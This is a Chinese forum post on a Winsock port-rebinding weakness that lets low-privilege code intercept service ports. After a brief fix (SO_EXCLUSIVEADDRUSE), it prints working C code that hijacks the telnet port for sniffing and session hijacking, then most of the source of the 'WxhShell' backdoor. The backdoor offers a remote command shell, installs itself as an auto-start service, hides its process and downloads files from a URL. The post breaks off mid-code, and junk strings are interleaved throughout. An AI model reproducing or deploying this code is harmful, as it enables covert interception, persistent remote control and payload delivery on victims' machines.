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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .TR9975  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7he,?T)vD  
 V!ZC(  
  saddr.sin_family = AF_INET; Lh"<XYY  
D>@I+4{p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); be{H$9'  
3n1;G8Nf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "XKy#[d2  
m )zUU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^ f &XQQY  
ICoHI  
  这意味着什么?意味着可以进行如下的攻击: .hP D$o  
ARVf[BAJ-*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2d(e:r h]  
wd^':  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z^q0/'  
YTpSHpf@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ia~HQ$'+n  
KB,j7 ~V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  OwUhdiG  
GT!M[*[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wj<6kG  
/y#f3r+*2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [f-?y mmT  
mpEK (p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dA`IEQJL  
3!Ij;$  
  #include p8H'{f\G  
  #include .fFCC`&T  
  #include A*R^n}sh  
  #include    | y# Jx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *74MWF@IY  
  int main() v ~?qz5:K~  
  { o&zJ=k[4  
  WORD wVersionRequested; x{8xW0  
  DWORD ret; fZzoAzfv2  
  WSADATA wsaData; qIE9$7*X  
  BOOL val; UA0Bzoky;  
  SOCKADDR_IN saddr; Lpz>>}  
  SOCKADDR_IN scaddr; S6M}WR^,  
  int err; ?.-wnz  
  SOCKET s; n;Q7X>-f8`  
  SOCKET sc; /-qNh >v4  
  int caddsize; :&rt)/I  
  HANDLE mt; k&q;JyUi  
  DWORD tid;   kT66;Y[  
  wVersionRequested = MAKEWORD( 2, 2 ); B =T'5&  
  err = WSAStartup( wVersionRequested, &wsaData ); nH'e?>x~e  
  if ( err != 0 ) { Z1f8/?`W  
  printf("error!WSAStartup failed!\n"); D~fl JR  
  return -1; b-?gw64#  
  } sPQQ"|wU  
  saddr.sin_family = AF_INET; [{,T.;'<j  
   Apag{Z]^B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L>NL:68yN  
sA/D]W.P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "]x'PI 4J  
  saddr.sin_port = htons(23); Y%aCMP9j~9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l^-];|Y  
  { YQ)kRhFA  
  printf("error!socket failed!\n"); TG?brgW  
  return -1; 1 ~*7f>  
  } ]BZA:dd.G  
  val = TRUE; q[ZTHd.-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =tn)}Y.<e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0c]/bs{}  
  { N7QK> "a  
  printf("error!setsockopt failed!\n"); ,vawzq[oSy  
  return -1; "'.UU$]d  
  } Z'W =\rl  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KVaiugQ   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VG#EdIiI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vjCu4+w($Z  
3E]plj7$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^4hO  
  { 1~`fVg  
  ret=GetLastError(); `pS9_ NYZ}  
  printf("error!bind failed!\n"); EhvX)s  
  return -1; 9c'xHO`  
  } f:w?pE  
  listen(s,2); CL;}IBd a  
  while(1) ~.nmI&3  
  { ~2N"#b&J  
  caddsize = sizeof(scaddr); J#(LlCs?@c  
  //接受连接请求 j#x6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RFcv^Xf  
  if(sc!=INVALID_SOCKET) 9uO 2Mm  
  { IGQFtO/x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RnE4<Cy  
  if(mt==NULL) v^NIx q}U  
  { gp?uHKsM  
  printf("Thread Creat Failed!\n"); o4,6.1}  
  break; SmH=e@y~Lx  
  } /NFj(+&g+  
  } Fb>?1i`RN  
  CloseHandle(mt); 1{. |+S Z!  
  } `?@}>.  
  closesocket(s); u@M,qo`  
  WSACleanup(); ]Sz:|%JP1  
  return 0; e}7lBLK]*  
  }   n\'4  
  DWORD WINAPI ClientThread(LPVOID lpParam) yYYSeH  
  { B{#I:Rs9  
  SOCKET ss = (SOCKET)lpParam; (gU!=F?#m  
  SOCKET sc; T/~f~Zz  
  unsigned char buf[4096]; Bahm]2  
  SOCKADDR_IN saddr; pRpBhm;iJ  
  long num; djG*YM\B  
  DWORD val;  KC6.Fr{  
  DWORD ret; }?i0  I  
  //如果是隐藏端口应用的话,可以在此处加一些判断  `25yE/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   69NeQ$](  
  saddr.sin_family = AF_INET; }C?'BRX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <2x^slx)?  
  saddr.sin_port = htons(23); i$#;Kpb`^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mdDOvm:&  
  { R| , g<  
  printf("error!socket failed!\n");  'KL0@l  
  return -1; v$v-2y'%  
  } -f^tE,-  
  val = 100; 6l x>>J!H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eJ-xsH*8  
  { p)-^;=<B3  
  ret = GetLastError(); ,^< R{{{-A  
  return -1; P|E| $)m  
  } 4.aZ# c91_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FVbb2Y?R  
  { Lg.gfny[(t  
  ret = GetLastError(); s^9Voi.y  
  return -1; Y\P8 v  
  } #p&qUw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7Q9 w?y~c  
  { [ l??A3G  
  printf("error!socket connect failed!\n"); 9;u@q%;!k  
  closesocket(sc); ?e4YGOe.  
  closesocket(ss); Bm<`n;m  
  return -1; k]|~>9eY]  
  } +@f26O7$*  
  while(1) lfgq=8d  
  { Qd{CMm x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;ef}}K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o:'MpKm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GL}]y -f  
  num = recv(ss,buf,4096,0); ec;o\erPG  
  if(num>0) I$G['` XX/  
  send(sc,buf,num,0); gz9j&W.  
  else if(num==0) JPHL#sKyz  
  break; z&\a:fJ&  
  num = recv(sc,buf,4096,0); J*A,o~U|  
  if(num>0) | YWD8 +  
  send(ss,buf,num,0); C.-,^+t;g  
  else if(num==0) [|$h*YK  
  break; VCkq"f7c w  
  } n( yn<  
  closesocket(ss); Ll't>)  
  closesocket(sc); N>`Aw^ _@&  
  return 0 ; +Kc  
  } &r /Mi%  
nR~@#P\  
T?0eVvM  
========================================================== BDDlQci38  
vA{-{Q  
下边附上一个代码,,WXhSHELL F/{!tx  
T'9'G M  
========================================================== Sz`,X0a  
t3_O H^  
#include "stdafx.h" ? OM!+O  
!f [_+CD  
#include <stdio.h> @,+5y\]C  
#include <string.h> PC8Q"O  
#include <windows.h> (ZZ8L-s  
#include <winsock2.h> >+1duAC  
#include <winsvc.h> q3!bky\  
#include <urlmon.h> KV *#T20T  
JH9J5%sp  
#pragma comment (lib, "Ws2_32.lib") S%>]q s  
#pragma comment (lib, "urlmon.lib") 0s[Hkhls  
+ &Eqk  
#define MAX_USER   100 // 最大客户端连接数 (w3YvG.  
#define BUF_SOCK   200 // sock buffer 2/^3WY1U  
#define KEY_BUFF   255 // 输入 buffer ES7s1O$#  
ouQ T  
#define REBOOT     0   // 重启 M6j y\<a  
#define SHUTDOWN   1   // 关机 ~36!?&eA8  
g3y~bf  
#define DEF_PORT   5000 // 监听端口 @": ^)87  
tyFzSrfc  
#define REG_LEN     16   // 注册表键长度 Lqa4Vi  
#define SVC_LEN     80   // NT服务名长度 J ZS:MFA  
N4!O.POP  
// 从dll定义API _G@GpkSe>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S,UDezxg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +r2-S~f3N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CA~-rv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?6U0PChy  
R-$!9mnr  
// wxhshell配置信息 _Fl9>C"u  
struct WSCFG { >kVz49j  
  int ws_port;         // 监听端口 &h/X ku&0  
  char ws_passstr[REG_LEN]; // 口令 U5de@Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no usF.bkTp  
  char ws_regname[REG_LEN]; // 注册表键名 gM:".Ee  
  char ws_svcname[REG_LEN]; // 服务名 h:|qC`}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YS0<qSN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q/,O\,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "chDg(jMZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f-Z/t fC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x%B/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  \4fQMG  
FZn w0tMq  
}; (GfZ*  
Gd85kY@w7  
// default Wxhshell configuration ?Ir:g=RP*  
struct WSCFG wscfg={DEF_PORT, WNtW|I V  
    "xuhuanlingzhe", ww1[rCh\+  
    1, :V||c5B+  
    "Wxhshell", 6'f;-2  
    "Wxhshell", Q=$2c[Uk  
            "WxhShell Service", ;2QP7PrSY  
    "Wrsky Windows CmdShell Service", cr;da)  
    "Please Input Your Password: ", S f# R0SA  
  1, i83OOV$1J  
  "http://www.wrsky.com/wxhshell.exe", W"{N Bi  
  "Wxhshell.exe" Z% UP6%  
    }; p!%pP}I  
/)O"l@ }U  
// 消息定义模块 Ny/MJ#Lq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Nh +H9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qHsA1<wg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WcGS9`m/  
char *msg_ws_ext="\n\rExit."; JucY[`|JV  
char *msg_ws_end="\n\rQuit."; 8&dF  
char *msg_ws_boot="\n\rReboot..."; ]Hv[IodJ  
char *msg_ws_poff="\n\rShutdown..."; owv[M6lbD  
char *msg_ws_down="\n\rSave to "; wMN]~|z>  
e*1_8I#2  
char *msg_ws_err="\n\rErr!"; R4d=S4 i  
char *msg_ws_ok="\n\rOK!"; a 1*p*dM#  
oXgcc*j  
char ExeFile[MAX_PATH]; )+Pus~w  
int nUser = 0; BMf@M  
HANDLE handles[MAX_USER]; N'=gep0V@  
int OsIsNt; fc>L K7M  
M',?u  
SERVICE_STATUS       serviceStatus; klhtKp_p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F:DrX_O%  
_)-o1`*-  
// 函数声明 \fe]c :  
int Install(void); DtnEi4h,  
int Uninstall(void); ],].zlN  
int DownloadFile(char *sURL, SOCKET wsh); \'j|BJ~L f  
int Boot(int flag); % & bY]w  
void HideProc(void); ,hmL/K0"(5  
int GetOsVer(void); &)<)^.@3G^  
int Wxhshell(SOCKET wsl); sDV Q#}a  
void TalkWithClient(void *cs); V(*(F7+  
int CmdShell(SOCKET sock); cB&:z)i4  
int StartFromService(void); zbPqYhJzA  
int StartWxhshell(LPSTR lpCmdLine); 2:ylv<\$  
\73ch  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); apxph2yvS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u]@['7  
wz8yD8M  
// 数据结构和表定义 ^<AwG=  
SERVICE_TABLE_ENTRY DispatchTable[] = +"VP-s0  
{ (7*}-Uy[C  
{wscfg.ws_svcname, NTServiceMain}, .N(p=9  
{NULL, NULL} bZV/l4TU  
}; %8x#rohP  
*{{89E>wC  
// 自我安装 :BT q!>s  
int Install(void) syK^<xa  
{ TS5Q1+hWHV  
  char svExeFile[MAX_PATH]; @lph)A Nk  
  HKEY key; k VQ\1!  
  strcpy(svExeFile,ExeFile); rrv%~giU  
[0 e_*  
// 如果是win9x系统,修改注册表设为自启动 [ikOb8 G#  
if(!OsIsNt) { <of^AKbt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xha..r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A5w6]:f2  
  RegCloseKey(key); gZ1?G-Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bN@ l?w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cN9t{.m  
  RegCloseKey(key); u<&m]] *  
  return 0; H>@+om  
    } .%QXzIa3F  
  } CJI~_3+K  
} W@!S%Y9  
else { ;9g2?-svw  
OZ!^ak  
// 如果是NT以上系统,安装为系统服务 4E?Oky#}-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3f;>" P}  
if (schSCManager!=0) S21,VpW\  
{ t0 ?\l)  
  SC_HANDLE schService = CreateService POR\e|hRT]  
  ( VLN_w$iEq  
  schSCManager, !{41!O,K#  
  wscfg.ws_svcname, G*v,GR  
  wscfg.ws_svcdisp, >lM l  
  SERVICE_ALL_ACCESS, &jr3B;g!C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , & ZB  
  SERVICE_AUTO_START, E1f\%!2l  
  SERVICE_ERROR_NORMAL, ~y[7K{{ ;T  
  svExeFile, 01o4Th m  
  NULL, b<u3 hln%,  
  NULL, HUOj0T  
  NULL, B?o7e<l[  
  NULL, #cLBQJq  
  NULL N)>ID(}F1  
  ); +d-NL?c  
  if (schService!=0) yR.Ong  
  { 76` .Y  
  CloseServiceHandle(schService); ,,|^%Ct']  
  CloseServiceHandle(schSCManager); ei5~&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4nz35BLr  
  strcat(svExeFile,wscfg.ws_svcname); z&^&K}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k-""_WJ~^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c6/=Gq{.  
  RegCloseKey(key); sUm'  
  return 0; W+1^4::+  
    } uUw5l})%Fi  
  } & "B=/-(  
  CloseServiceHandle(schSCManager); Nl1D o:PY  
} D7qOZlX16  
} .XhrCi Z  
4I5Y,g{6+  
return 1; Ld-_,-n  
} IdxzE_@  
w)jISu;RG  
// 自我卸载 pcI uN  
int Uninstall(void) PE5G  
{ {cw /!B  
  HKEY key; bK-N:8Z  
maR"t+  
if(!OsIsNt) { cPc</[x[W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]]j;/TiG  
  RegDeleteValue(key,wscfg.ws_regname); {2 "zVt#h  
  RegCloseKey(key); ~.lPEA %%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jm r"D>  
  RegDeleteValue(key,wscfg.ws_regname); Q.c\/&  
  RegCloseKey(key); Mh 7DV  
  return 0; {T~#?v(  
  } -RK- Fu<e  
} uhutg,[  
} m<2M4u   
else { Pd]|:W< E  
?5 [=(\/.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W'u>#  
if (schSCManager!=0) vEz"xz1j!]  
{ ib791  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5d!-G$ @  
  if (schService!=0) yJe>JK~)  
  { tIS<U(N ;  
  if(DeleteService(schService)!=0) { t.\dpBq  
  CloseServiceHandle(schService); 8|58 H  
  CloseServiceHandle(schSCManager); YkQd  
  return 0; 1]/.` ]1  
  } g9 5`.V}  
  CloseServiceHandle(schService); @2v_pJy^  
  } 2gVm9gAHUd  
  CloseServiceHandle(schSCManager); IRqy%@)  
} mXfXO*Cnp  
} VBcPu  
QUQ'3  
return 1; `,*5wBC  
} 1D!<'`)AY  
liz~7RY4  
// 从指定url下载文件 WvZ8/T'x  
int DownloadFile(char *sURL, SOCKET wsh) 0NX,QD  
{ 4tmAzD  
  HRESULT hr; l0i^uMS  
char seps[]= "/"; delu1r  
char *token; D*|Bb?  
char *file; ! #2{hQRu  
char myURL[MAX_PATH]; 07=mj%yV  
char myFILE[MAX_PATH]; t}/( b/VD  
x `)&J B  
strcpy(myURL,sURL); =kG@a(-  
  token=strtok(myURL,seps); Q>1[JW{$}  
  while(token!=NULL) qK&d]6H R  
  { 3>VL}Ui}  
    file=token; CF5`-wj/#  
  token=strtok(NULL,seps); @cB$iP=Z4  
  } ~z;FP$U  
O463I.XAP  
GetCurrentDirectory(MAX_PATH,myFILE); -v|qZ'  
strcat(myFILE, "\\"); %sQ^.` 2  
strcat(myFILE, file); 3=]sLn0L  
  send(wsh,myFILE,strlen(myFILE),0); x{ WD;$J  
send(wsh,"...",3,0); ]~hk6kS8Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !0mI;~q|F  
  if(hr==S_OK)  U}j0D2  
return 0; 'F#KM1s  
else l0A&9g*l2  
return 1; QGmn#]w\\  
SS.dY""89  
} UFb )AnK  
/ FEVmH?  
// 系统电源模块 L8#5*8W6  
int Boot(int flag) (qulwOt~w  
{ sY f~c0${  
  HANDLE hToken; O]1(FWYy  
  TOKEN_PRIVILEGES tkp; tT?cBg{  
vn"{I&L+w0  
  if(OsIsNt) { %;YHt=(1*X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NGOfb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K~uq,~  
    tkp.PrivilegeCount = 1; O#S.n#{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P1' al  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Otm0(+YB 7  
if(flag==REBOOT) { -Wi` G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  p|D/;Mk  
  return 0; 9|CN8x-  
} w!clI8v/  
else { Z Sd4z:/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pce;r*9  
  return 0; i9][N5\$  
} t"/q]G5  
  } l$bu%SZ  
  else { #';:2Nyq  
if(flag==REBOOT) { +pn N!:q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =h73s0 ]  
  return 0; F;0}x;:>  
} s>n)B^64W  
else { Ng>h"H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dQR-H7U  
  return 0; ?R.j^ S^  
} @A ^;jk  
} k-OPU ,  
Lrq .Ab#  
return 1; m#Z# .j_2  
} Is?La  
WKa~[j|-K  
// win9x进程隐藏模块 R/>@ +  
void HideProc(void) PxkO T*  
{ GD_hhDyD  
2{G:=U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b |p)9&^r  
  if ( hKernel != NULL ) s 15 oN  
  {  0$fpIz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |02gupqqi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ocS5SB]8  
    FreeLibrary(hKernel); \<TXS)w]  
  } G..aiA  
0o*8#i/)!3  
return; 6-B|Y3)B  
} ):_\;.L  
_1!OlQ  
// 获取操作系统版本 R)ITy!z  
int GetOsVer(void) b-Q>({=i  
{ +8Ymw:D7a  
  OSVERSIONINFO winfo; d8=x0~7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o@i#|kx,  
  GetVersionEx(&winfo); +jnJ|h({  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JKmIvZ)8  
  return 1; @8rx`9  
  else x!58cS*  
  return 0; Y+u_IJ  
} } .y 1;.  
3H6lBF  
// 客户端句柄模块 Bj-: #P@  
int Wxhshell(SOCKET wsl) _k ~KZ;l  
{ l &5QZI0I  
  SOCKET wsh; 1--C~IjJ+  
  struct sockaddr_in client; A='N=^Pm  
  DWORD myID; fbKkq.w  
KP5C} ZK+s  
  while(nUser<MAX_USER) ?8Z0Gqt74  
{ .-oxb,/  
  int nSize=sizeof(client); NDlF0f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q ]e`9/U  
  if(wsh==INVALID_SOCKET) return 1; O% KsD[W;  
(~wqa 3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X1-'COQS%&  
if(handles[nUser]==0) g+>(dnX  
  closesocket(wsh); kN4{13Qs*  
else 64G[|" j D  
  nUser++; Jx](G>F4f1  
  } .|b$NM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K<ft2anY5  
+kO!Xc%P&  
  return 0; (UvM@]B  
} JJ2_hVU  
:hFIl0$,"3  
// 关闭 socket 4Vi`* !  
void CloseIt(SOCKET wsh) 1A G<$d5U|  
{ $ig0j`  
closesocket(wsh); DiwxXqY  
nUser--; T)TfB(  
ExitThread(0); 8xV9.4S  
} $r8 ^0ZRr  
QoIT*!  
// 客户端请求句柄 wFsyD3  
void TalkWithClient(void *cs) ';jYOVe  
{ Q)" Nu.m &  
7k9G(i[-+  
  SOCKET wsh=(SOCKET)cs; 3|4|*6  
  char pwd[SVC_LEN]; VE {3}S  
  char cmd[KEY_BUFF]; <vh/4  
char chr[1]; kJzoFFWo$  
int i,j; 6qoyiT%P&  
[] `&vWZ  
  while (nUser < MAX_USER) { _'>oXQJ  
``Dq  
if(wscfg.ws_passstr) { s!&#c`=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9c#+qH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pU%n]]qF  
  //ZeroMemory(pwd,KEY_BUFF); #W'HR  
      i=0; > BY&,4r  
  while(i<SVC_LEN) { XJ` ]ga  
Z/0fXn})  
  // 设置超时 (SDr!!V<  
  fd_set FdRead; uU <=d  
  struct timeval TimeOut; 7- ] as$  
  FD_ZERO(&FdRead); bg&zo;Ck8T  
  FD_SET(wsh,&FdRead); ;/fF,L{c  
  TimeOut.tv_sec=8; X>(TrdK_9"  
  TimeOut.tv_usec=0; ~yfNxH~k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;q:zT\A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $M lW4&a|  
Ax?y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O%(fx!c`  
  pwd=chr[0]; kabnVVn~  
  if(chr[0]==0xd || chr[0]==0xa) { uK$9Ll{lk  
  pwd=0; q[`]D7W "  
  break; 6[LM_eP  
  } BJB^m|b)  
  i++; P+PR<ZoI{f  
    } =/Mq5.  
7/ysVWt  
  // 如果是非法用户,关闭 socket PMh^(j[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m-*i>4;  
} ];a=Pn-:}G  
l@H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @}OL9Ch  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EB=-H#  
jN>{'TqW4  
while(1) { !*m5F8Qm?A  
LuSLkLN  
  ZeroMemory(cmd,KEY_BUFF); %Bn?n{ /  
V|/NB  
      // 自动支持客户端 telnet标准   ') gi%  
  j=0; o/6-3QUak  
  while(j<KEY_BUFF) { XKttZOiGT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OjF_ %5  
  cmd[j]=chr[0]; Ib\iT:AJ  
  if(chr[0]==0xa || chr[0]==0xd) { YN2sd G  
  cmd[j]=0; wztA3ZL*W1  
  break; 3'qJ/*]9  
  } -/cZeQDPb  
  j++; ##;Er47@^  
    } 65p?Igb  
#H{<gjs]  
  // 下载文件 ( Qcp{q  
  if(strstr(cmd,"http://")) { ~ ! 3I2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); " '6;/N  
  if(DownloadFile(cmd,wsh)) qg!|l7e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~j5x+yC  
  else #iWSDy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R_68-WO  
  } wX[8A/JPD  
  else { )V ;mwT!Q  
mc_ch$r!  
    switch(cmd[0]) { 9@52Fg ;mj  
  x2z;6)  
  // 帮助 W$rH"_@m  
  case '?': { < hO /jB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T/xp?Vq6/  
    break; K]|> Et`  
  } bKQ"ax>6p  
  // 安装 rN<b?KE  
  case 'i': { H nUYqhZS  
    if(Install()) Eu-RNrYh#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s#DaKPC  
    else L19C<5>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6290ZNvr  
    break; 7#U^Dx\yh  
    } mG`e3X6@-  
  // 卸载 T[4<R 5}  
  case 'r': { )h|gwERj  
    if(Uninstall()) {]_r W/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N:tY":Hi  
    else X 9%'|(tL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;D s46M-s  
    break; x{,q]u /  
    } ,^WJm?R  
  // 显示 wxhshell 所在路径 >O?U= OeD  
  case 'p': { J?}WQLVP'  
    char svExeFile[MAX_PATH]; 2@~M4YJf  
    strcpy(svExeFile,"\n\r"); Z]WnG'3N  
      strcat(svExeFile,ExeFile); C,NxE5?h  
        send(wsh,svExeFile,strlen(svExeFile),0); d&u]WVU  
    break; *gF<m9&  
    } d/|D<Sb[s  
  // 重启 Q~Hh\Lt  
  case 'b': { }gMDXy}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4e;y G>  
    if(Boot(REBOOT)) GbA.UM ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WN5`;{\  
    else { bi&*9K0  
    closesocket(wsh); HXYRH  
    ExitThread(0); A"l?:?rtw]  
    } r"a5(Q;n  
    break; vZ N!Zl7S  
    } f1)x5N  
  // 关机 V$icWu  
  case 'd': { D8nD/||;Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5qkH|*Z3  
